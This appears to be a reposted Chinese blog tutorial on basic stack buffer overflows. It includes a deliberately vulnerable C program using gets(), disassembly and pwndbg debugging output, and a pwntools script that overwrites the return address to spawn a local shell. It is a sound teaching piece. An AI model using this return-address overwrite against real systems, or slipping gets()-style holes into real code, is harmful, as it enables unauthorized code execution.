主頁 > 軟體設計 > 淺析堆疊溢位原理

淺析堆疊溢位原理

2020-10-22 04:36:43 軟體設計

說明

本文主要講解簡單堆疊溢位的基本原理, 如果有什么不對的地方或者更好的建議, 還請大佬指正.

工具準備

  1. linux系統
  2. 除錯工具gdb
  3. gdb插件:pwndbg
  4. pwntools工具包
    關于pwndbg插件和pwntools可以在github搜索并下載安裝,需要python環境

函式堆疊幀與ESP、EBP暫存器

C語言中,每個堆疊幀對應一個未運行完的函式. 堆疊幀中保存了函式的區域變數和回傳地址, 即保存著函式的執行環境.
------摘自百度百科

ESP暫存器保存著堆疊幀的堆疊頂地址, EBP暫存器保存著當前函式堆疊幀的堆疊底地址. (32位系統為ESP、EBP, 64位系統為RSP、RBP, 其它暫存器同理)

call指令、leave指令與ret指令

匯編語言中, 用call指令來實作函式的呼叫, 指令格式: call address;
call指令效果相當于"push eip; jump address;". 不僅是跳轉到指定函式地址執行指令, 在跳轉之前還將當前IP暫存器中的值(下一條指令的地址)壓入到了堆疊中. 從而可以在被調函式執行完之后, 繼續執行當前函式.
在被調函式執行完畢后, 程式要準備退出函式, 需要leave指令來釋放函式堆疊幀, 并使EBP暫存器恢復舊值, 執行的操作相當于"mov esp,ebp; pop ebp; “, 之后ret指令將程式執行流回傳上層函式. 有點c語言中return陳述句的意味. ret指令效果相當于"pop eip;”. 即將堆疊頂保存的值出堆疊, 作為下一條將要執行指令的地址賦值給IP暫存器.

造成堆疊溢位的原因

系統堆疊是由高地址往低地址增長的, 而資料的寫入是按低地址到高地址的順序寫入. 如果程式沒有對輸入的字符數量做出限制, 就存在資料溢位當前堆疊幀以及覆寫回傳地址的可能, 從而實作控制程式的執行流.

溢位原理

以32位可執行程式為例, 我們將通過除錯分析下面這段簡單的代碼來理解堆疊溢位.

#include<stdio.h>
#include<unistd.h>

void shell(){
    system("/bin/sh");
}

void vulnerable(){
    char buf[16];
    gets(buf);
}

int main(){
    vulnerable();
}

可以看到buf大小只有16位元組,而gets()函式卻可以無限輸入,不檢查字符上限, 直到遇到’\n’字符為止.
我們將c檔案編譯鏈接成可執行檔案:

# 編譯引數先不講解,在后面講解保護機制時解釋
# 只需知道-m32是將.c檔案編譯成32位程式即可
gcc -m32 -fno-stack-protector -no-pie main.c -o stack

我們用objdump 來反匯編一下生成的可執行檔案(部分反匯編代碼):

08049172 <shell>:
 8049172:       55                      push   ebp
 8049173:       89 e5                   mov    ebp,esp
 8049175:       83 ec 08                sub    esp,0x8
 8049178:       83 ec 0c                sub    esp,0xc
 804917b:       68 08 a0 04 08          push   0x804a008
 8049180:       e8 bb fe ff ff          call   8049040 <system@plt>
 8049185:       83 c4 10                add    esp,0x10
 8049188:       90                      nop
 8049189:       c9                      leave  
 804918a:       c3                      ret    

0804918b <vulnerable>:
 804918b:       55                      push   ebp
 804918c:       89 e5                   mov    ebp,esp
 804918e:       83 ec 18                sub    esp,0x18
 8049191:       83 ec 0c                sub    esp,0xc
 8049194:       8d 45 e8                lea    eax,[ebp-0x18]
 8049197:       50                      push   eax
 8049198:       e8 93 fe ff ff          call   8049030 <gets@plt>
 804919d:       83 c4 10                add    esp,0x10
 80491a0:       90                      nop
 80491a1:       c9                      leave  
 80491a2:       c3                      ret    

080491a3 <main>:
 80491a3:       55                      push   ebp
 80491a4:       89 e5                   mov    ebp,esp
 80491a6:       83 e4 f0                and    esp,0xfffffff0
 80491a9:       e8 dd ff ff ff          call   804918b <vulnerable>
 80491ae:       b8 00 00 00 00          mov    eax,0x0
 80491b3:       c9                      leave  
 80491b4:       c3                      ret    
 80491b5:       66 90                   xchg   ax,ax
 80491b7:       66 90                   xchg   ax,ax
 80491b9:       66 90                   xchg   ax,ax
 80491bb:       66 90                   xchg   ax,ax
 80491bd:       66 90                   xchg   ax,ax
 80491bf:       90                      nop

上圖可以看到, 在執行call之前,系統會將引數入堆疊(32位程式如此), 執行call指令進入函式之后, 前兩潭訓編指令都相同:

55				push	ebp
89 e5			mov		ebp,esp

這兩條指令的作用是將上層函式堆疊幀的堆疊底入堆疊,同時將堆疊頂作為本函式堆疊幀的堆疊底.
函式呼叫時堆疊的變化情況大致如下所示:
執行call指令時首先esp執行-4操作, 堆疊頂上移, 然后將call指令的下條指令地址存入堆疊頂位置, 從上圖匯編代碼可以看出是將地址0x80491ae入堆疊, 堆疊向低地址方向增長.
執行call指令時,將main函式中下條指令的地址入堆疊
進入vulnerable函式之后,分別執行前兩條指令構造新堆疊幀:
將當前堆疊幀的ebp入堆疊, 然后將ebp移動到堆疊頂位置, 此時vulnerable函式的堆疊幀構造完畢,當有臨時變數時, esp指標執行sub操作,指標上移, 為臨時變數開辟堆疊空間.
構造新堆疊幀
函式功能執行完畢,準備回傳時, 需要將堆疊空間釋放, 即銷毀當前堆疊幀, 在上面匯編代碼部分可以看到, 用戶定義的函式末尾通常會有兩條指令(有時候沒有leave指令):

c9			leave
c3			ret

執行leave指令, 首先將esp移動到堆疊幀的堆疊底ebp的位置, 之后執行出堆疊操作, 將堆疊頂賦值給ebp, 此時ebp恢復舊值, 因為出堆疊操作, esp指標下移. (出堆疊操作并不會清除堆疊內資料, 只是將esp的值修改了而已)
執行leave指令
之后執行ret指令, 將堆疊頂賦值給IP暫存器 , esp下移, 程式繼續. 所謂堆疊溢位就是想辦法將上層函式的堆疊幀中的"回傳地址"給覆寫掉, 以達到改變程式執行流的效果. 在本例中, 就是往buf中一直寫入資料, 直到將main堆疊幀中"回傳地址"給覆寫掉. 當程式執行完vulnerable函式后, 將回傳到指定地址繼續執行指令.
覆寫回傳地址
接下來我們用動態除錯工具gdb和pwndbg來除錯此程式:
常用的gdb/pwndbg命令如下:

  • b function_name —> 在函式處下斷點
  • b *address —> 在地址address處下斷點
  • info b —> 查看斷點資訊
  • r —> 運行程式
  • n —> 單步步過
  • s —> 單步步入,函式跟蹤
  • c —> 繼續執行
  • fin —> 跳出,執行到函式回傳處
  • stack n —> 查看堆疊內n個存盤單元的資料

運行gdb, 并在main函式處打上斷點, 運行程式:
可以看到最上面是一些暫存器的狀態, 往下是程式執行處的反匯編代碼, 小箭頭指向將要執行指令, 接著是部分堆疊空間的狀態, 包括ebp和esp的位置資訊, 最下面是函式呼叫順序, 可以看到程式執行時, main函式并不是第一個被呼叫的函式, 是由__libc_start_main呼叫.

Breakpoint 1, 0x080491a6 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
 EAX  0xf7fa7dc8 (environ) —? 0xffffbcbc —? 0xffffbe9f ?— 'SHELL=/bin/bash'
 EBX  0x0
 ECX  0xcaf93e6a
 EDX  0xffffbc44 ?— 0x0
 EDI  0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ?— 0x1d9d6c
 ESI  0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ?— 0x1d9d6c
 EBP  0xffffbc18 ?— 0x0
 ESP  0xffffbc18 ?— 0x0
 EIP  0x80491a6 (main+3) ?— 0xe8f0e483
───────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
 ? 0x80491a6 <main+3>     and    esp, 0xfffffff0
   0x80491a9 <main+6>     call   vulnerable <vulnerable>
 
   0x80491ae <main+11>    mov    eax, 0
   0x80491b3 <main+16>    leave  
   0x80491b4 <main+17>    ret    
 
   0x80491b5              nop    
   0x80491b7              nop    
   0x80491b9              nop    
   0x80491bb              nop    
   0x80491bd              nop    
   0x80491bf              nop    
───────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ ebp esp  0xffffbc18 ?— 0x0
01:00040xffffbc1c —? 0xf7de6b41 (__libc_start_main+241) ?— add    esp, 0x10
02:00080xffffbc20 ?— 0x1
03:000c│          0xffffbc24 —? 0xffffbcb4 —? 0xffffbe74 ?— '/home/darkfox/Desktop/code_project/c/stack'
04:00100xffffbc28 —? 0xffffbcbc —? 0xffffbe9f ?— 'SHELL=/bin/bash'
05:00140xffffbc2c —? 0xffffbc44 ?— 0x0
06:00180xffffbc30 ?— 0x1
07:001c│          0xffffbc34 ?— 0x0
─────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────
 ? f 0  80491a6 main+3
   f 1 f7de6b41 __libc_start_main+241
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

我們接著執行, 直到往buf輸入資料為止:

 0x804918c <vulnerable+1>     mov    ebp, esp
   0x804918e <vulnerable+3>     sub    esp, 0x18
   0x8049191 <vulnerable+6>     sub    esp, 0xc
   0x8049194 <vulnerable+9>     lea    eax, [ebp - 0x18]
   0x8049197 <vulnerable+12>    push   eax
 ? 0x8049198 <vulnerable+13>    call   gets@plt <gets@plt>
        arg[0]: 0xffffbbf0 ?— 0x1
        arg[1]: 0x40000
        arg[2]: 0x7
        arg[3]: 0x8049203 (__libc_csu_init+67) ?— 0x8301c783
 
   0x804919d <vulnerable+18>    add    esp, 0x10
   0x80491a0 <vulnerable+21>    nop    
   0x80491a1 <vulnerable+22>    leave  
   0x80491a2 <vulnerable+23>    ret    
 
   0x80491a3 <main>             push   ebp

我們輸入’aaaa’, 并查看堆疊資料, 可以看到我們輸入的資料存盤在地址0xffffbbf0處, 我們需要覆寫的資料在地址0xffffbc0c處, 中間相隔了0x1c位元組的資料. 另外我們需要程式回傳shell函式處, 運行shell函式, 獲得系統控制權, 此時我們可以將shell函式的地址0x8049172覆寫原來的地址資料.然后就大功告成.

────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack 20
00:0000│ esp  0xffffbbe0 —? 0xffffbbf0 ?— 'aaaa'
01:00040xffffbbe4 ?— 0x40000
02:00080xffffbbe8 ?— 0x7
03:000c│      0xffffbbec —? 0x8049203 (__libc_csu_init+67) ?— 0x8301c783
04:0010│ eax  0xffffbbf0 ?— 'aaaa'
05:00140xffffbbf4 —? 0xffffbc00 —? 0xf7fe4520 (_dl_fini) ?— push   ebp
06:00180xffffbbf8 —? 0xffffbcbc —? 0xffffbe9f ?— 'SHELL=/bin/bash'
07:001c│      0xffffbbfc —? 0x80491db (__libc_csu_init+27) ?— 0xff10b38d
08:00200xffffbc00 —? 0xf7fe4520 (_dl_fini) ?— push   ebp
09:00240xffffbc04 ?— 0x0
0a:0028│ ebp  0xffffbc08 —? 0xffffbc18 ?— 0x0
0b:002c│      0xffffbc0c —? 0x80491ae (main+11) ?— 0xb8
0c:00300xffffbc10 —? 0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ?— 0x1d9d6c
...0e:00380xffffbc18 ?— 0x0
0f:003c│      0xffffbc1c —? 0xf7de6b41 (__libc_start_main+241) ?— add    esp, 0x10
10:00400xffffbc20 ?— 0x1
11:00440xffffbc24 —? 0xffffbcb4 —? 0xffffbe74 ?— '/home/darkfox/Desktop/code_project/c/stack'
12:00480xffffbc28 —? 0xffffbcbc —? 0xffffbe9f ?— 'SHELL=/bin/bash'
13:004c│      0xffffbc2c —? 0xffffbc44 ?— 0x0

用python撰寫漏洞利用腳本

#!/usr/bin/python3		#指明腳本解釋程式

# 匯入pwntools工具
from pwn import *

# 運行stack程式
io = process('./stack')

# shell函式回傳地址
shell = 0x8049172

# 構造payload,先填充0x1c位元組的垃圾資料,再覆寫回傳地址
# pack()將整型數值打包成32位位元組碼,也可用 p32(shell) 代替
payload = b'a' * 0x1c + pack(shell,32)

#如果是python2, payload構造方式如下
#payload = 'a' * 0x1c + p32(shell)

# 向程式發送資料
io.sendline(payload)

#互動模式
io.interactive()

運行腳本后獲得系統控制權限,執行ls命令,果然可以查看當前目錄的檔案

darkfox@darkfox-PC:~/Desktop/code_project/c$ python3 io.py 
[+] Starting local process './stack': pid 15404
[*] Switching to interactive mode
$ ls
how2heap  io.py  main.c  stack
$  

那真對這種簡單的堆疊溢位, 有什么防止的辦法呢? 請查閱堆疊保護措施 canary機制、堆疊不可執行(NX)、地址隨機化(PIE、ASLR)機制,

轉載請註明出處,本文鏈接:https://www.uj5u.com/ruanti/185044.html

標籤:其他

上一篇:Filebeat 采集 Nginx 日志

下一篇:【大資料實驗】1 安裝CentOS 7.7

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 面試突擊第一季,第二季,第三季

    第一季必考 https://www.bilibili.com/video/BV1FE411y79Y?from=search&seid=15921726601957489746 第二季分布式 https://www.bilibili.com/video/BV13f4y127ee/?spm_id_fro ......

    uj5u.com 2020-09-10 05:35:24 more
  • 第三單元作業總結

    1.前言 這應該是本學期最后一次寫作業總結了吧。總體來說,對作業的節奏也差不多掌握了,作業做起來的效率也更高了。雖然和之前的作業一樣,作業中都要用到新的知識,但是相比之前,更加懂得了如何利用工具以及資料。雖然之間卡過殼,但總體而言,這幾次作業還算完成的比較好。 2.作業程序總結 相比前兩個單元,此單 ......

    uj5u.com 2020-09-10 05:35:41 more
  • 北航OO(2020)第四單元博客作業暨課程總結博客

    北航OO(2020)第四單元博客作業暨課程總結博客 本單元作業的架構設計 在本單元中,由于UML圖具有比較清晰的樹形結構,因此我對其中需要進行查詢操作的元素進行了包裝,在樹的父節點中存盤所有孩子的參考。考慮到性能問題,我采用了快取機制,一次查詢后盡可能快取已經遍歷過的資訊,以減少遍歷次數。 本單元我 ......

    uj5u.com 2020-09-10 05:35:48 more
  • BUAA_OO_第四單元

    一、UML決議器設計 ? 先看下題目:第四單元實作一個基于JDK 8帶有效性檢查的UML(Unified Modeling Language)類圖,順序圖,狀態圖分析器 MyUmlInteraction,實際上我們要建立一個有向圖模型,UML中的物件(元素)可能與同級元素連接,也可與低級元素相連形成 ......

    uj5u.com 2020-09-10 05:35:54 more
  • 6.1邏輯運算子

    邏輯運算子 1. && 短路與 運算式1 && 運算式2 01.運算式1為true并且運算式2也為true 整體回傳為true 02.運算式1為false,將不會執行運算式2 整體回傳為false 03.只要有一個運算式為false 整體回傳為false 2. || 短路或 運算式1 || 運算式2 ......

    uj5u.com 2020-09-10 05:35:56 more
  • BUAAOO 第四單元 & 課程總結

    1. 第四單元:StarUml檔案決議 本單元采用了圖模型決議UML。 UML檔案可以抽象為圖、子圖、邊的邏輯結構。 在實作中,圖的節點包括類、介面、屬性,子圖包括狀態圖、順序圖等。 采用了三次遍歷UML元素的方法建圖,第一遍遍歷建點,第二、三次遍歷設定屬性、連邊,實作圖物件的初始化。這里借鑒了一些 ......

    uj5u.com 2020-09-10 05:36:06 more
  • 談談我對C# 多型的理解

    面向物件三要素:封裝、繼承、多型。 封裝和繼承,這兩個比較好理解,但要理解多型的話,可就稍微有點難度了。今天,我們就來講講多型的理解。 我們應該經常會看到面試題目:請談談對多型的理解。 其實呢,多型非常簡單,就一句話:呼叫同一種方法產生了不同的結果。 具體實作方式有三種。 一、多載 多載很簡單。 p ......

    uj5u.com 2020-09-10 05:36:09 more
  • Python 資料驅動工具:DDT

    背景 python 的unittest 沒有自帶資料驅動功能。 所以如果使用unittest,同時又想使用資料驅動,那么就可以使用DDT來完成。 DDT是 “Data-Driven Tests”的縮寫。 資料:http://ddt.readthedocs.io/en/latest/ 使用方法 dd. ......

    uj5u.com 2020-09-10 05:36:13 more
  • Python里面的xlrd模塊詳解

    那我就一下面積個問題對xlrd模塊進行學習一下: 1.什么是xlrd模塊? 2.為什么使用xlrd模塊? 3.怎樣使用xlrd模塊? 1.什么是xlrd模塊? ?python操作excel主要用到xlrd和xlwt這兩個庫,即xlrd是讀excel,xlwt是寫excel的庫。 今天就先來說一下xl ......

    uj5u.com 2020-09-10 05:36:28 more
  • 當我們創建HashMap時,底層到底做了什么?

    jdk1.7中的底層實作程序(底層基于陣列+鏈表) 在我們new HashMap()時,底層創建了默認長度為16的一維陣列Entry[ ] table。當我們呼叫map.put(key1,value1)方法向HashMap里添加資料的時候: 首先,呼叫key1所在類的hashCode()計算key1 ......

    uj5u.com 2020-09-10 05:36:38 more
最新发布
  • 【中介者設計模式詳解】C/Java/JS/Go/Python/TS不同語言實作

    * 中介者模式是一種行為型設計模式,它可以用來減少類之間的直接依賴關系,
    * 將物件之間的通信封裝到一個中介者物件中,從而使得各個物件之間的關系更加松散。
    * 在中介者模式中,物件之間不再直接相互互動,而是通過中介者來中轉訊息。 ......

    uj5u.com 2023-04-20 08:20:47 more
  • 露天煤礦現場調研和交流案例分享

    他們集團的資訊化公司及研究院在一個礦區正在做智能礦山的統一平臺的 試點,專案投資大概1億,包括了礦山的各方面的內容,顯示得我們這次交流有點多余。他們2年前開始做智能礦山的規劃,有很多煤礦行業專家的加持,他們的描述是非常完美,但是去年底應該上線的平臺,現在還沒有看到影子。他們確實有很多場景需求,但是被... ......

    uj5u.com 2023-04-20 08:20:25 more
  • 《社區人員管理》實戰案例設計&個人案例分享

    設計是一個讓人夢想成真程序,開始編碼、測驗、除錯之前進行需求分析和架構設計,才能保證關鍵方面都做正確 ......

    uj5u.com 2023-04-20 08:20:17 more
  • 軟體架構生態化-多角色交付的探索實踐

    作為一個技術架構師,不僅僅要緊跟行業技術趨勢,還要結合研發團隊現狀及痛點,探索新的交付方案。在日常中,你是否遇到如下問題 “ 業務需求排期長研發是瓶頸;非研發角色感受不到研發技改提效的變化;引入ISV 團隊又擔心質量和安全,培訓周期長“等等,基于此我們探索了一種新的技術體系及交付方案來解決如上問題。 ......

    uj5u.com 2023-04-20 08:20:10 more
  • 【中介者設計模式詳解】C/Java/JS/Go/Python/TS不同語言實作

    * 中介者模式是一種行為型設計模式,它可以用來減少類之間的直接依賴關系,
    * 將物件之間的通信封裝到一個中介者物件中,從而使得各個物件之間的關系更加松散。
    * 在中介者模式中,物件之間不再直接相互互動,而是通過中介者來中轉訊息。 ......

    uj5u.com 2023-04-20 08:19:44 more
  • 露天煤礦現場調研和交流案例分享

    他們集團的資訊化公司及研究院在一個礦區正在做智能礦山的統一平臺的 試點,專案投資大概1億,包括了礦山的各方面的內容,顯示得我們這次交流有點多余。他們2年前開始做智能礦山的規劃,有很多煤礦行業專家的加持,他們的描述是非常完美,但是去年底應該上線的平臺,現在還沒有看到影子。他們確實有很多場景需求,但是被... ......

    uj5u.com 2023-04-20 08:19:07 more
  • 《社區人員管理》實戰案例設計&個人案例分享

    設計是一個讓人夢想成真程序,開始編碼、測驗、除錯之前進行需求分析和架構設計,才能保證關鍵方面都做正確 ......

    uj5u.com 2023-04-20 08:18:57 more
  • 軟體架構生態化-多角色交付的探索實踐

    作為一個技術架構師,不僅僅要緊跟行業技術趨勢,還要結合研發團隊現狀及痛點,探索新的交付方案。在日常中,你是否遇到如下問題 “ 業務需求排期長研發是瓶頸;非研發角色感受不到研發技改提效的變化;引入ISV 團隊又擔心質量和安全,培訓周期長“等等,基于此我們探索了一種新的技術體系及交付方案來解決如上問題。 ......

    uj5u.com 2023-04-20 08:18:49 more
  • 05單件模式

    #經典的單件模式 public class Singleton { private static Singleton uniqueInstance; //一個靜態變數持有Singleton類的唯一實體。 // 其他有用的實體變數寫在這里 //構造器宣告為私有,只有Singleton可以實體化這個類! ......

    uj5u.com 2023-04-19 08:42:51 more
  • 【架構與設計】常見微服務分層架構的區別和落地實踐

    軟體工程的方方面面都遵循一個最基本的道理:沒有銀彈,架構分層模型更是如此,每一種都有各自優缺點,所以請根據不同的業務場景,并遵循簡單、可演進這兩個重要的架構原則選擇合適的架構分層模型即可。 ......

    uj5u.com 2023-04-19 08:42:41 more